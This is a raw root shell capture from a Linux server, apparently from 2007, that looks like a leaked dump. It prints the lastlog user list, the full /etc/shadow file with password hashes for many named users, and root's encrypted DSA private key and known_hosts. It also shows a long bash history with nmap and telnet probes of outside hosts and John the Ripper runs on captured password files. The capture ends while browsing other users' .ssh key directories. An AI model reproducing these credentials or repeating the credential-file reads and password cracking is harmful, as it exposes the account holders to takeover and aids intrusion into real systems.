Raster           pts/12   pix3.ircc.edu    Thu Jan 25 10:07:47 -0500 2007
mysql                                      **Never logged in**
superman                                   **Never logged in**
wraith           pts/8    c-67-180-5-3.hsd Fri Dec 29 11:29:05 -0500 2006
gumbie           pts/0    c-24-34-223-184. Fri Jun  8 22:54:48 -0400 2007
ircd             pts/0    vds221.sivit.org Sun Mar 25 05:23:25 -0400 2007
neokat           pts/2    192.168.1.1      Mon Sep 18 00:54:55 -0400 2006
deadlyacid       pts/0    ip68-110-245-75. Sat Jun  9 17:09:36 -0400 2007
logan            pts/2    192.168.1.102    Sun Sep 17 08:19:19 -0400 2006
DJDD             pts/0    216.186.154.117  Fri Jun  8 10:50:56 -0400 2007
Toad                                       **Never logged in**
zaratul2         pts/1    89.108.147.43    Wed Dec 20 02:53:45 -0500 2006
bartek                                     **Never logged in**
strayfe          pts/0    ip68-110-245-75. Thu Jun  7 18:17:19 -0400 2007
kisp                                       **Never logged in**
furryuser                                  **Never logged in**
boost            pts/9    tec21.lib.uci.ed Mon Jan 22 00:45:54 -0500 2007
neon             pts/1    75-18-248-88.lig Tue May 22 00:30:42 -0400 2007
jindaronin       pts/8    pix3.ircc.edu    Mon Jan  8 11:24:45 -0500 2007
CdPirate         pts/1    213-94-233-36.b- Thu Feb 15 18:55:52 -0500 2007
stax             pts/0    213.251.160.26   Fri Jun  8 01:13:45 -0400 2007
shoutcast                                  **Never logged in**
brandonyu2000                              **Never logged in**
[root@localhost root]# cat /etc/shadow
root:$1$okCxorzm$hEMPGKBXI0stf4p6GSwvN.:13521:0:99999:7:::
bin:*:13333:0:99999:7:::
daemon:*:13333:0:99999:7:::
adm:*:13333:0:99999:7:::
lp:*:13333:0:99999:7:::
sync:*:13333:0:99999:7:::
shutdown:*:13333:0:99999:7:::
halt:*:13333:0:99999:7:::
mail:*:13333:0:99999:7:::
news:*:13333:0:99999:7:::
uucp:*:13333:0:99999:7:::
operator:*:13333:0:99999:7:::
games:*:13333:0:99999:7:::
gopher:*:13333:0:99999:7:::
ftp:*:13333:0:99999:7:::
nobody:*:13333:0:99999:7:::
dbus:!!:13333:0:99999:7:::
vcsa:!!:13333:0:99999:7:::
rpm:!!:13333:0:99999:7:::
haldaemon:!!:13333:0:99999:7:::
pcap:!!:13333:0:99999:7:::
nscd:!!:13333:0:99999:7:::
named:!!:13333:0:99999:7:::
netdump:!!:13333:0:99999:7:::
sshd:!!:13333:0:99999:7:::
rpc:!!:13333:0:99999:7:::
mailnull:!!:13333:0:99999:7:::
smmsp:!!:13333:0:99999:7:::
rpcuser:!!:13333:0:99999:7:::
nfsnobody:!!:13333:0:99999:7:::
apache:!!:13333:0:99999:7:::
xfs:!!:13333:0:99999:7:::
ntp:!!:13333:0:99999:7:::
gdm:!!:13333:0:99999:7:::
Raster:$1$WKVJX2Pp$9FkdPO1dhJJB.eM7nVdjV.:13333:0:99999:7:::
mysql:!!:13334:0:99999:7:::
superman:$1$JREHk48N$JLYAZDwyRqWX.omqcWDaX0:13356:0:99999:7:::
wraith:$1$MT0lRqTc$LwZrErC2EUmnq0K2sPQq9/:13411:0:99999:7:::
gumbie:$1$wQXJROLG$xk6bVLvf8LrO6HMVMQQtC1:13597:0:99999:7:::
ircd:$1$XDSLbLdB$oNcoI9IV/WCoT0B5/Vb8H1:13435:0:99999:7:::
neokat:$1$vzq6ZeUU$ae0bIwmKnuYrj.5wiR/hG.:13409:0:99999:7:::
deadlyacid:$1$bH6/nUAL$/uT/7OBWKu.Xb8GhVh1sM0:13611:0:99999:7:::
logan:$1$7LaZ3XKs$T7kS.wk6UZWfvj6eXbJwX/:13424:0:99999:7:::
DJDD:$1$JbZ5.0XQ$3F5SjVVa5R71Tr1byc9f31:13435:0:99999:7:::
Toad:$1$9dsIny1N$WbG8JTQyVGEEQnt6huS1M.:13454:0:99999:7:::
zaratul2:$1$TTQlT1UP$hqEBYiiB9st7IezCjkXOH.:13444:0:99999:7:::
bartek:$1$PaUoBcTi$RI47yR5Nf83lHv0oe.O0v1:13444:0:99999:7:::
strayfe:$1$WgoDCa/j$JLaGM65FpLqIlOoyGaGC9.:13530:0:99999:7:::
kisp:$1$7Xbrg7zy$QU3GUj61UAcYIdNuskVJ1/:13456:0:99999:7:::
furryuser:$1$MbCPkH5O$fS082sBDXi93Ap80gF8ry0:13479:0:99999:7:::
boost:$1$Wu1oglAf$4xrCXb3eaBMyJD..3Lxnv1:13504:0:99999:7:::
neon:$1$ne3jQHS3$mQnUKSpPhxTXxkfAYL0W..:13510:0:99999:7:::
jindaronin:$1$wFQlwCxb$8FwV5ozNoK8bFNrWUzyuQ/:13521:0:99999:7:::
CdPirate:$1$Y4hU1v/.$32GupztmYa6UofeSh0x0N1:13558:0:99999:7:::
stax:$1$An/iKGlb$wWW.NaHBoHoxm4d7E76nB1:13593:0:99999:7:::
shoutcast:!!:13617:0:99999:7:::
brandonyu2000:$1$XZejQq6Z$QpO0cwpaHttp3G5bk90YU1:13649:0:99999:7:::
[root@localhost root]# cd .ssh
[root@localhost .ssh]# ls -alh
total 24K
drwx------   2 root root 4.0K Sep  1  2006 .
drwxr-x---  36 root root 4.0K May  6 18:14 ..
-rw-------   1 root root  736 Aug  5  2006 id_dsa
-rw-r--r--   1 root root  616 Aug  5  2006 id_dsa.pub
-rw-r--r--   1 root root  649 Apr 20 14:20 known_hosts
[root@localhost .ssh]# cat id_dsa
-----BEGIN DSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,4557364AE3A6EC0B

94u3QO/FyevHduz59L2gWFruixTN/C1Nb6/qiaVhCazOZNtTkgBN0gPQrhbzmjDe
V5tGIf6zDlGbk50o/yLTo2S6R9nRt0QZ8Uv6QgtuTTpiWY91oTnOqxIW31wcse0e
gvhGdJhCqApGtedespklruEJ+jff2lCdkNJgFU7ZP7gHO8XxnlorFEv0vXnLBz7r
P+87if9iQfy0TgwX0wBzl3JdzIK3piGwfAwp7XqY5QCqu7VaNcGIwn12FAeq3+vU
2w4tg5OgYpxR51TD4BfNO/he9VGIhNcLoUuTG7yQQEl/bG5wUAjLFxLZmGaV4Wbn
FY76yLeVFgL2lZnvr2bAkEBAv+biQVZ24qjnKkfNt/k14ivi+cduCVfRWpOjHHY3
hfSAFruMstbrmXumnPOW2mgm82ZlyyQEYvtjSS/aTXQ7QAz1k3Mqz1QSBVX2zD81
ggcGPNC2iQSJLvcp+CbuZ1dnX1DKpyeMCuJ8gPH7cel1wZadPXc4Rp5nHPoLvlGi
mBRSkVhaHN9PvA4+j8QGSEG6P0cC9P0dN6QTmnxUPrk8XLd1qGFbfkG1gb6v5o+J
ebf6IG+niQBBfyasESDcbw==
-----END DSA PRIVATE KEY-----
[root@localhost .ssh]# cat id_dsa.pub 
ssh-dss AAAAB3NzaC1kc3MAAACBANt/aziEW4r+JKcAHb3KhZHl0T05eakskBCpk
GjXLv4PxQzuvISOCXciSrK3Ncdq4TShVd4WrO6XPRStEWSaXA4oyO0SIbbHaUxT+/
Xurbx8d7NBZfLvwTZrBDVpZ7ZmMeC1zh3s78Mk2C7Va8yJQCm2Nf+zBzucBVfUc0h
+fRndAAAAFQD4RVrG2TbDG2+C4hxs5CIrUHi76QAAAIAptgQu1r3UVJJGltER65LJ
c4d2cil516pftcricgfzK8OhTmFB1CMg/eu8LNJ6wbaP1TNo7IGrd8j9WdKuvN4JL
xetQATxdL6JIRfAp07EHH+fzA/Cc+GFGa8uNtcaRpZzTf6mDAbPZYRRRA/qzTzkZ2
MCQekLjEqfEH7AvulGIgAAAIAP5zQCV3aOLyCoah57oiOnqSrbYgcnMf11te4Kc1p
jtjI4OdSqKZAkj5o7+CwXMiMxZ2XdjEMJuL+eh8ZJYdqSP9OjsUgQoCNSgYarOc9F
RRaumXSq0YqezzmLWgEgo4+O5KPX/PDyWD4VJwL1DLE1Oyyrw5ugko3QKRRK+BjOk
g== root@localhost.localdomain
[root@localhost .ssh]# cat known_hosts 
unitedti.org,208.186.100.154 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA
pywJffK7sb2FF+qbJyEtoD/zLNXj5HjbyabXmUE2fbubUGetiW9lwxDs4lcf0/dAH
OpGdc2CmUCSwKXFy+NLwMPdrhAsdfZPpGdghEe62YtVxJmnAo4mv41Ab+QjYJ4JG0
goBoV1Zi8hXNyjV1PQRQTNuYHikfRoJrfaXJj4sv4Crh+LfN2I0LjCTSHvBeinmRO
psE7gG9SpsQp4HQBEXlmPnEWzuyCxAWpPiRZsLV69NMH+b/cNe2nWl4sVngx3p8yt
310KMyCURHq+XCj84LL0H+wNgaExNTvSCjGQJr4dsnIq88Rwsjnuk8FCqBYWNuU/W
EChLZANHW9i2mbDIw==
irc.zloche.net,80.248.208.223 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIE
AzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGVSNc/FyxIq6soDPhQ6nsYw3N
oKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlquOTUNZzB0RQIKgI4FOl
pojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
[root@localhost .ssh]# cd ..
[root@localhost root]# cat .bash_history
locate php | grep -i mysql|less
iptables -I INPUT -s 67.159.26.70/32 -d 0/0 -j DROP
ps x
mysql -p -u gumbie
mysql -p -u sync
mysql -p -u sync
mysql -p -u gumbie
mysql -p -u gumbie
ps aux | grep mysqld
mysql -p -u gumbie
mysql -p -u gumbie mysql
grep nagios /var/log/*
grep nagios /var/log/* | grep -v crond
su - ircd
su ircd
cd /www/bin
ls
./apachectl start
cd /usr/local/mysql
ls
cd libexec
ls
./mysqld -u mysql &
mysqladmin shutdown -p
mysqladmin shutdown -p
service mysqld start
cd /dev
ls
mkdir /mnt/raid
mount /dev/sda1 /mnt/raid
yum install ntfs
yum --help
yum search ntfs
yum list
yum list ntfs
yum install kernel-module-ntfs
uname -r
cd /home/root
cd /root
ls
wget http://prdownloads.sourceforge.net/linux-ntfs/kernel-module-ntfs-2.6.11-1.1369_FC4-2.1.22-0.rr.6.0.i686.rpm
rpm -ihv kernel*
modprobe ntfs
mount /dev/sda1 /mnt/raid
cd /mnt/raid
ls
fsck
man fsck
umount /mnt/raid
cd ..
umount /mnt/raid
fsck /dev/sda1
yum install fsck.ntfs
man ntfsresize
yum install ntfsresize
ntfsfix
yum install ntfsfix
yum install ntfsprogs
wget http://ftp.belnet.be/packages/dries.ulyssis.org/fedora/fc4/i386/RPMS.dries/ntfsprogs-1.9.4-1.2.fc4.rf.i386.rpm
ls
rpm -ihv ntfs*
ntfsfix
ntfsfix /dev/sda1
mount /dev/sda1 /mnt/raid
cd /mnt/raid
ls
cd ..
man ntfsfix
man ntfsprogs
ntfsundelete /dev/sda1
umount /mnt/raid
ntfsundelete /dev/sda1
ntfsundelete /dev/sda1 --force
ntfsundelete /dev/sda1
chkdsk
man ntfsprogs
cat /dev/sda1
yum install w3m
w3m
w3m http://www.google.com
ls
cd /www/admin
ls
vi md.php
su ircd
cd /mnt
ls
smbmount \\\\RASTERING\\Music  /mnt/Rasterized
smbmount \\\\RASTERING\\Hits /mnt/music
cd /www/admin
ls
vi md.php
exit
uname -a
su ircd
ls
cd /home/ircd/Unreal
ls
./unreal --help
./unreal restart
cat ircd.conf
ls
cat ircd.log
ls
users
./ircd --help
./unreal --help
./unreal stop
su ircd
ls
./ircd stop
./unreal stop
su ircd
shutdown -r now
shutdown cancel
shutdown -c
locate unrealircd.conf
ps auxww | grep mysql
service mysql start
service mysqld start
cd /home/ircd
ls
cd Unreal
su ircd
cd /mnt
ls
smbmount \\\\RASTERING\\Music /mnt/Rasterized
smbmount \\\\192.168.1.102\\Music /mnt/Rasterized
smbmount \\\\RASTERING\\Music /mnt/Rasterized
smbmount \\\\RASTERING\\Hits /mnt/music
cd /www/bin
ls
./apachectl start
services mysql start
service mysqld start
ls
cddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddccccccccccccccccc
cccccddddddddddddddddddddddddcccccccccccccccdddddddddddccccccccc
ccdddddddddddddcccccccddddddd
cd /mnt/music
ls
vi index.php
cd /root
ls
vi skeleton_bot.php
cd /www/htdocs/music
cd /www/htdocs/Music
ls
vi tumb.php
yum install libgd
cd /root
wget http://www.libgd.org/releases/gd-2.0.34.tar.gz
gzip -d gd*
man tar
man gzip
tar -xvf gd*
cd gd*
ls
./configure
yum install libpng
yum install libpng
yum install libjpeg
man convert
cd /www/htdocs/Music
ls
irssi
su ircd
nmap 81.95.148.250
telnet -p 22 81.95.148.250
telnet 81.95.148.250 22
telnet 81.95.148.250 21
su ircd
su ircd
ls
cd jtr
ls
cd john-1.7.2
ls
ls
cd /www/htdocs
ls
cd ../admin
;s
ls
cd ..
ls
cd raster
ls
cd mine
rm ./11-08-06_1555.jpg
ls -alh
ls -l
locate cisco
updatedb &
jobs
ps
w
locate john
cd jtr
cd run
ls
cd john-1.7.2/run/
.ls
ls
cat cisco.txt 
cay pass.txt 
cat pass.txt 
jobs
cd ~
jobs
cat jtr/john-1.7.2/run/new.txt 
locate cisco | grep "strayfe"
wall raster, are you here now?
cd jtr
ls
cd john*
ls
cd run
ls
vi cisco.txt
./john cisco.txt
irssi
su ircd
su ircd
cd /www/bin/
./apachectl start
su ircd
ps auxww | grep mysql
services mysqld start
service mysqld start
ps auxww | grep mysql
su ircd
cd /mnt
ls
smbmount \\\\192.168.1.102\\Music /mnt/Rasterized
ls
cd /dev
ls
tfpt
yum tftp
cd /
ls
cd /hlds
ls
nmap 192.168.100.1
exit
umount /mnt/Rasterized
umount /mnt/Hits
umount /mnt/hits
cd /mnt
ls
umount /mnt/music
smbmount \\\\192.168.1.102\\Hits /mnt/music
smbmount \\\\192.168.1.102\\Music /mnt/Rasterized
cd /
ls
cd home
ls
cd ..
ls
cd usr
ls
cd local
ls
cd /
ls
cd etc
ls
cd vsftpd
ls
cd /
ls
usr
cd usr
ls
cd local
ls
cd lib
ls
cd ..
ls
cd include
ls
cd ..
ls
cd /
ls
uname -r
cd home
ls
cd furryuser
yum install tftp
tftp 192.168.1.1
ftp 192.168.1.1
nmap 192.168.1.1
umount /mnt/music
umount /mnt/Rasterized
smbmount \\\\192.168.1.100\\Music /mnt/Rasterized
smbmount \\\\192.168.1.100\\Hits /mnt/music
ls
cd /
ls
cd /www/htdocs
ls
cd Music
ls
cd ../mp3
ls
cd /root
ls
vi skeleton_bot.php
cd /www/bin
./apachectl start
cd /mnt
l;s
ls
smbmount \\\\192.168.1.102\\Music /mnt/Rasterized
smbmount \\\\192.168.1.102\\Hits /mnt/music
exit
ifconfig
ifconfig eth1
ifconfig eth2
ifconfig eth3
ifconfig eth1
ifconfig eth0
ifconfig eth2
ifconfig
cd /home/ircd
ls
cd unreal
ls
cd Unreal
ls
su ircd
service mysqld start
su ircd
exit
cd /home/ircd/Unreal
lsw
ls
cd services
cd ~/services/
su ircd
adduser stax
passwd stax
emacs
vi /etc/sudoers
convert
man convert
color
colour
man fdisk
cd /www/htdocs
ls
cd ../admin
ls
cd ../raster
ls
cd ..
ls
cd htdocs
ls
cd mycrap
ls
cd ..
ls
ifconfig
route
man ifconfig
cd /etc
ls
cd /home/ircd/Unreal
su ircd
cat /etc/sudoers.conf
cat /etc/sudoers
cd /home/ircd/Unreal
ls
cd Sync
ls
vi aliases.conf
cd /www/admin
ls
wget http://doc.m0n0.ch/handbook-single/
ls
cd /mnt
ls
umount ./Rasterized
umount ./music
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
ping 192.168.38.254
ping 192.168.39.1
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
nslookup rasterized.net
nslookup 192.168.38.254
nslookup 192.168.38.254
nslookup 192.168.38.254
nslookup rastering
nslookup rastering
nslookup rastering.rasterized.net
nslookup rastering.rasterized.net
smbmount \\\\rastering.rasterized.net\\Music /mnt/Rasterized
smbmount \\\\rastering.rasterized.net\\Music /mnt/Rasterized
smbmount \\\\rastering.rasterized.net\\Music /mnt/Rasterized
smbmount \\\\rastering.rasterized.net\\Music /mnt/Rasterized
smbmount \\\\rastering.rasterized.net\\Hits /mnt/music
whois user-1120cdn.dsl.mindspring.com
whois mindspring.com
whois 66.32.49.183
cd /www/htdocs/Music
ls
calc
calculator
add
cd /boot
ls
cd grub
ls
su ircd
exit
cd /home/ircd
ls
cd Unreal
ls
./unreal stop
users
ps -a
ls
su ircd
cd ~ircd/
ls
cd services
rm ../services_STAX.tar 
tar -cf ../services_STAX.tar ./
cd ..
ftp
ls
du -csh services_STAX.tar 
ftp
nmap 64.79.213.12
nmap 64.79.213.12 -P0
whois 64.79.213.12
irssi
su ircd
cd /mnt
ls
umount /mnt/Raster
umount /mnt/Rasterized
umount /mnt/Music
umount /mnt/music
umount /mnt/music
umount /mnt/music
smbmount \\192.168.38.254\Hits /mnt/music
smbmount \\\\192.168.38.254\\Hits /mnt/music
umount /mnt/music
umount /mnt/music
umount /mnt/music
umount /mnt/music
umount /mnt/music
umount /mnt/music
umount /mnt/music
umount /mnt/music
umount /mnt/music
umount /mnt/music
smbmount \\\\192.168.38.254\\Hits
smbmount \\\\192.168.38.254\\Hits /mnt/music
cd /mnt
ks
ls
smbmount \\\\192.168.38.254\\Hits /mnt/music
umount \\\\192.168.38.254\\Hits
umount /mnt/music
smbmount \\\\192.168.38.254\\Hits /mnt/music
umount /mnt/rasterized
cd /mnt
ls
umount /mnt/Rasterized
umount /mnt/music
smbmount \\\\192.168.38.254\\Hits /mnt/music
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
cd /www/htdocs/Music
ls
cd /mnt
ls
umount /mnt/Rasterized
umount /mnt/music
smbmount \\\\192.168.38.254\\Hits /mnt/music
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
cd /htdocs
cd /www/htdocs/
ls
cd ../admin
ls
ifconfig
ifconfig eth0 down
ifconfig eth0 dhcp up
dhclient eth0
quit
exit
ls
cd /home/ircd/Unreal
ls
irssi
cd /www/bin
./apachectl start
cd /mnt
lks
ls
smbmount \\\\192.168.38.254\\Hits /mnt/music
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
xls
xfs
kill xfs
cd /mnt
ls
cd Rasterized
ls
adduser shoutcast
cd /home/shoutcast
su shoutcast
quit
[12~
cd ./
ls
cd /
ls
cd hlds
ls
./hldsupdatetool.bin --help
cat readme.txt
./hldsupdatetool.bin -command update -game valve -dir ./valve
ls
./steam -command update -game valve -dir ./valve
./steam -command update -game cstrike -dir ./cstrike
cd ./valve
ls
./hlds_run -game valve
ls
cd valve
ls
vi server.cfg
vi autoexec.cfg
cd ..
./hlds_run -game valve
./hlds_run -game valve +ip rasterized.net +maxplayers 18
./hlds_run -game valve +ip 76.108.85.21 +maxplayers 18
./hlds_run -game valve +ip 76.108.85.21 +maxplayers 18 -debug
ls
cat debug.log
./hlds_run -game valve +ip 76.108.85.21 +maxplayers 18
./hlds_run -game valve +ip 76.108.85.21 +maxplayers 18
./hlds_run -game valve +maxplayers 18
./hlds_run -game valve +maxplayers 18
cd /mnt
ls
umount ./Rasterized
umount ./Rasterized
umount ./music
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
smbmount \\\\192.168.38.254\\Hits /mnt/music
cd /etc
ls
cd rc.d
ls
cd rc
cat rc
ls
cd init.d
ls
cd ..
cd /home/strayfe
ls
cd backups
ls
cd ~
ls
cd /mnt
umount ./music
umount ./Rasterized
umount ./Rasterized
umount ./Rasterized
umount ./Rasterized
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
smbmount \\\\192.168.38.254\\Hits /mnt/music
cd /hlds
ls
cd valve
ls
./hlds_run -game valve +maxplayers 18
cd /www/htdocs
ls
cd source
ls
cd flashplayer
ls
cd /hlds/valve
ls
./hlds_run -game valve +maxplayers 18
/sbin/ipchains -A output -p udp -s $ANY 27012 -j ACCEPT
/sbin/ipchains -A output -p udp -s $ANY 27010 -j ACCEPT
/sbin/ipchains -A input -p udp -s $ANY 27015 -j ACCEPT
ipchains
./hlds_run -game valve +maxplayers 18 +ip 192.168.39.2
jtr
john
ls
cd jtr
ls
cd john*
ls
cd run
ls
vi hbh
./john hbh
nmap 71.235.127.228
netstat
cd /mnt
ls
ls ./Rasterized
umount ./Rasterized
umount ./music
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
smbmount \\\\192.168.38.254\\Hits /mnt/music
cd /www/htdocs
ls
traceroute
traceroute 192.168.100.1
cd /www/raster
vi index.php
ls
cd /etc
ls
ls -l rc
vim rc
grep -i "hostname" rc*
vim rc.sysinit
cd /mnt
ls
cd /media
ls
cd cdrom
ls
cd ../cdrecorder
ls
cd ../
cd /dev
ls
mount /dev/cdrom1 /media/cdrom
mount /dev/cdrom /media/cdrom
dmesg | tail
mount /dev/cdrom /media/cdrom
dmesg | tail
mount /dev/cdrom /media/cdrom
cd /media/cdrom
ls
cd ..
umount ./cdrom
cd /
ls
cd home]
cd home
ls
cd shoutcast
ls
cd shout
ls
su shoutcast
cd /www/htdocs
ls
vi index.php
rm index.php
vi index.php
cd /home/shoutcast/shout
ls
vi README.TXT
vi sc_serv.conf
cd /home/ircd
ls
cd Unreal
ls
vi ircd.conf
ls
cd Sync
ls
cd ..
ls
vi unrealircd.conf
cd /boot/grub
ls
cat grub.conf
cd /home
ls
whois 207.200.98.1
whois 65.214.44.71
cd /www/
ls
cd conf
ls
vi httpd.conf
cd ../bin
ls
./apachectl graceful'
./apachectl graceful
mount \\\\rastering.rasterized.net\\Music /mnt/rasterized
smbmount \\\\rastering.rasterized.net\\Music /mnt/rasterized
smbmount \\\\rastering.rasterized.net\\Music /mnt/Rasterized
smbmount \\\\192.168.28.254\\Music /mnt/Rasterized
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
cd /mnt
ks
ls
umount /mnt/Rasterized
smbmount \\\\192.168.38.254\\Music /mnt/Rasterized
umount /mnt/music
smbmount \\\\192.168.38.254\\Hits /mnt/music
smbmount \\\\192.168.38.254\\Hits /mnt/music
cd /www/bin
./apachectl graceful
cd /www/conf
ls
vi httpd.conf
cd ../bin
./apachectl graceful
cd /www/raster
ls
rm ./*
y
vi index.php
adduser
adduser brandonyu2000
passwd brandonyu2000
cd /home/brandonyu2000
ls
mkdir public_html
ls
cd /www/conf
ls
vi httpd.conf
cd ../bin
ls
./apachectl graceful
cd /home/brandonyu
cd /home/brandonyu2000
ls
passwd brandonyu2000
cd /home
ls
cd /www
ls
cd htdocs
ls
cd mycrap
ls
cd ../
ls
cd info
ls
cd ..
ls
cd ..
ls
cd admin
ls
cd ..
ls
nmap 150.101.0.57
telnet 150.101.0.57:514
telnet 150.101.0.57 -p 514
telnet 150.101.0.57 514
uname
uname -s
uname -r
yum update kernel
uname -r
cd /boot/grub
ls
vi grub.conf
xs /
cd /
ls
cd /etc
ls
cd X11
ls
cd ../
ls
vi rc
vi /etc/inittab
man shutdown
shutdown -r now
ls /home
cat /etc/hosts.deny
iptables -L -n
host irc.rmachine.net
ifconfig
users
cd /www/bin
cd /mnt
ls
smbmount \\\\RASTERING\\Music Rasterized
smbmount \\\\RASTERING\\Hits Music
smbmount \\\\RASTERING\\Hits music
ls
cd /www/htdocs
ls
cd ../bin
ls
./apachectl start
cd /home/shoutcast
ls
cd shout
ls
su shoutcast
ifconfig
exit
ifconfig
ifconfig eth0 down
ifconfig eth0 dhcp up
ifconfig eth0 up
dhclient
ifconfig eth0
su ircd
exit
cd /www/htdocs/mp3
ls
cd ../Music
ls
cd /www/htdocs
ls
cd upload
ls
cd /etc
cat shadow
su Raster
ls
users
users
nmap janno.net
uname -r
cd /usr/src
ls
cd kernels
ls
cd ../
ls
cd redhat
ls
cd BUILD
ls
cd ..
ls
gcc --version
make --version
ld -v
fdformat --version
depmod -V
tune2fs
/sbin/lspci
cat /proc/cpuinfo
su ircd
su Raster
yum install ruby
cd /home/neon
ls
ls
cat pircbot.jar
ls
cat NeonBotMain.class
ls
ls
cat rubybot.rb
su ircd
cd /www/htdocs
ls
cd upload
ls
wget http://www4.1dawg.com/15876/its_the_main.flv
cd /www/htdocs/Music
ls
vi index.php
cd ../mp3
ls
vi index.php
vi index.php
cd ../Music
ls
su ircd
cd /www/htdocs
ls
cd upload
ls
cd files
ls
cd ../../
ls
cd ../admin
ls
su ircd
cd /www/bin
ls
./apachectl start
cd /home/ircd
ls
cd Unreal
ls
su ircd
cd /boot/grub
vi grub.conf
uname -r
cd ../
ls
cd /mnt
ls
smbmount \\\\RASTERING\\Music ./Rasterized
smbmount \\\\RASTERING\\Hits ./music
cd /usr/src/linux*
ls
mkinitrd
uname -rm
mkinitrd /boot/initrd-2.6.20_FC4.img.bak 2.6.20_FC4
cd /lib/modules/
ls
rename 2.6.20 2.6.20_FC4
ls
cp 2.6.20 2.6.20_FC4
ls
cp ./2.6.20 ./2.6.20_FC4
cd 2.6.20
ls
cd kernel
ls
ls
cd /
ls
uname
uname -rm
uname -r
cd /www/admin
ls
mkdir ebay
cd ebay
ls
cd /root
ls
cd john
ls
cd jtr
ls
cd john*
ls
cd run
ls
vi shopping
./john shopping
nmap www.shoppingbee.net
su ircd
su ircd
su ircd
su ircd
exit
irssi
su ircd
su - ircd
cd /etc/rc.d/init.d/
ls
ls -l *ntpd
ls -l ../*/*ntpd
less ntpd 
cd ..
ls
pico rc.local 
rdate -s time-a.nist.gov
date
date
w
w
cd
ps x
ps aux | grep ircd
su - ircd
su - ircd
su - ircd
su - ircd
ifconfig
dhclient
ifconfig
ls
ls
exit
cd /www/bin
./apachectl start
cd /mnt
smbmount \\\\RASTERING\\Music ./Rasterized
smbmount \\\\RASTERING\\Hits ./music
cd /home/ircd/
cd Unreal
ls
su ircd
users
[root@localhost root]# cd /home
[root@localhost home]# ls -alh
total 112K
drwxr-xr-x  26 strayfe       strayfe       4.0K May 14 04:32 .
drwxr-xr-x  26 root          root          4.0K Jun  5 18:30 ..
drwxr-xr-x   2 bartek        bartek        4.0K Oct 23  2006 bartek
drwxr-xr-x   2 boost         boost         4.0K Jan 22 00:14 boost
drwxr-xr-x   3 brandonyu2000 brandonyu2000 4.0K May 14 04:34 brandonyu2000
drwx------   3 CdPirate      CdPirate      4.0K Feb 15 17:45 CdPirate
drwxr-xr-x   2 deadlyacid    deadlyacid    4.0K Jun  9 17:17 deadlyacid
drwxr-xr-x  15         10200 users         4.0K Sep 18  2006 dhcp-3.1.0a1
drwxr-x--x   4 DJDD          DJDD          4.0K Nov 16  2006 DJDD
drwxr-xr-x   4 furryuser     furryuser     4.0K Nov 27  2006 furryuser
drwxr-xr-x  15 gumbie        gumbie        4.0K Jun  8 22:54 gumbie
drwxr-x--x  20 ircd          ircd          4.0K Jun  8 15:15 ircd
drwxr-xr-x   2 jindaronin    jindaronin    4.0K May 20 11:03 jindaronin
drwxrwxrwx   8          1000 users         4.0K Aug  4  2006 lirc-0.8.0
drwxr-xr-x   2 logan         logan         4.0K Sep 17  2006 logan
drwxr-xr-x   2 mysql         mysql         4.0K Jul  4  2006 mysql
drwxr-xr-x   2 neokat        NeoKat        4.0K Sep 11  2006 NeoKat
drwxr-xr-x   3 neon          neon          4.0K May 22 00:30 neon
drwxr-xr-x  14 Raster        Raster        4.0K Jan 25 10:05 Raster
drwxr-xr-x   3 shoutcast     shoutcast     4.0K May  7 15:07 shoutcast
drwxr-xr-x   2 root          root          4.0K Aug  5  2006 .ssh
drwxr-xr-x   3 stax          stax          4.0K Mar 31 17:55 stax
drwx------  18 strayfe       strayfe       4.0K Jun  7 18:19 strayfe
drwx------   2 superman      superman      4.0K Jul 27  2006 superman
drwxr-xr-x   2 Toad          Toad          4.0K Nov  2  2006 Toad
drwxr-xr-x   2 wraith        wraith        4.0K Aug 25  2006 wraithm
[root@localhost home]# cd .ssh
[root@localhost .ssh]# ls -alh
total 12K
drwxr-xr-x   2 root    root    4.0K Aug  5  2006 .
drwxr-xr-x  26 strayfe strayfe 4.0K May 14 04:32 ..
[root@localhost .ssh]# cd ../DJDD/
[root@localhost DJDD]# ls -alh
total 56K
drwxr-x--x   4 DJDD    DJDD    4.0K Nov 16  2006 .
drwxr-xr-x  26 strayfe strayfe 4.0K May 14 04:32 ..
-rw-------   1 DJDD    DJDD    4.2K Jun  8 10:51 .bash_history
-rw-r--r--   1 DJDD    DJDD      24 Oct  4  2006 .bash_logout
-rw-r--r--   1 DJDD    DJDD     191 Oct  4  2006 .bash_profile
-rw-r--r--   1 DJDD    DJDD     124 Oct  4  2006 .bashrc
-rw-r--r--   1 DJDD    DJDD     120 Oct  4  2006 .gtkrc
drwx------   2 DJDD    DJDD    4.0K May 25 11:55 .irssi
drwx------   2 DJDD    DJDD    4.0K Nov  9  2006 .ssh
-rw-rw-r--   1 DJDD    DJDD     693 Nov  9  2006 tmp
-rw-------   1 DJDD    DJDD     882 Nov  9  2006 .viminfo
-rw-r--r--   1 DJDD    DJDD     658 Oct  4  2006 .zshrc
[root@localhost DJDD]# cd .ssh
[root@localhost .ssh]# ls -alh
total 24K
drwx------  2 DJDD DJDD 4.0K Nov  9  2006 .
drwxr-x--x  4 DJDD DJDD 4.0K Nov 16  2006 ..
-rw-r--r--  1 DJDD DJDD  611 Nov  9  2006 authorized_keys
-rw-------  1 DJDD DJDD  736 Nov  9  2006 id_dsa
-rw-r--r--  1 DJDD DJDD  611 Nov  9  2006 id_dsa.pub
-rw-r--r--  1 DJDD DJDD 1.5K Mar 21 15:22 known_hosts
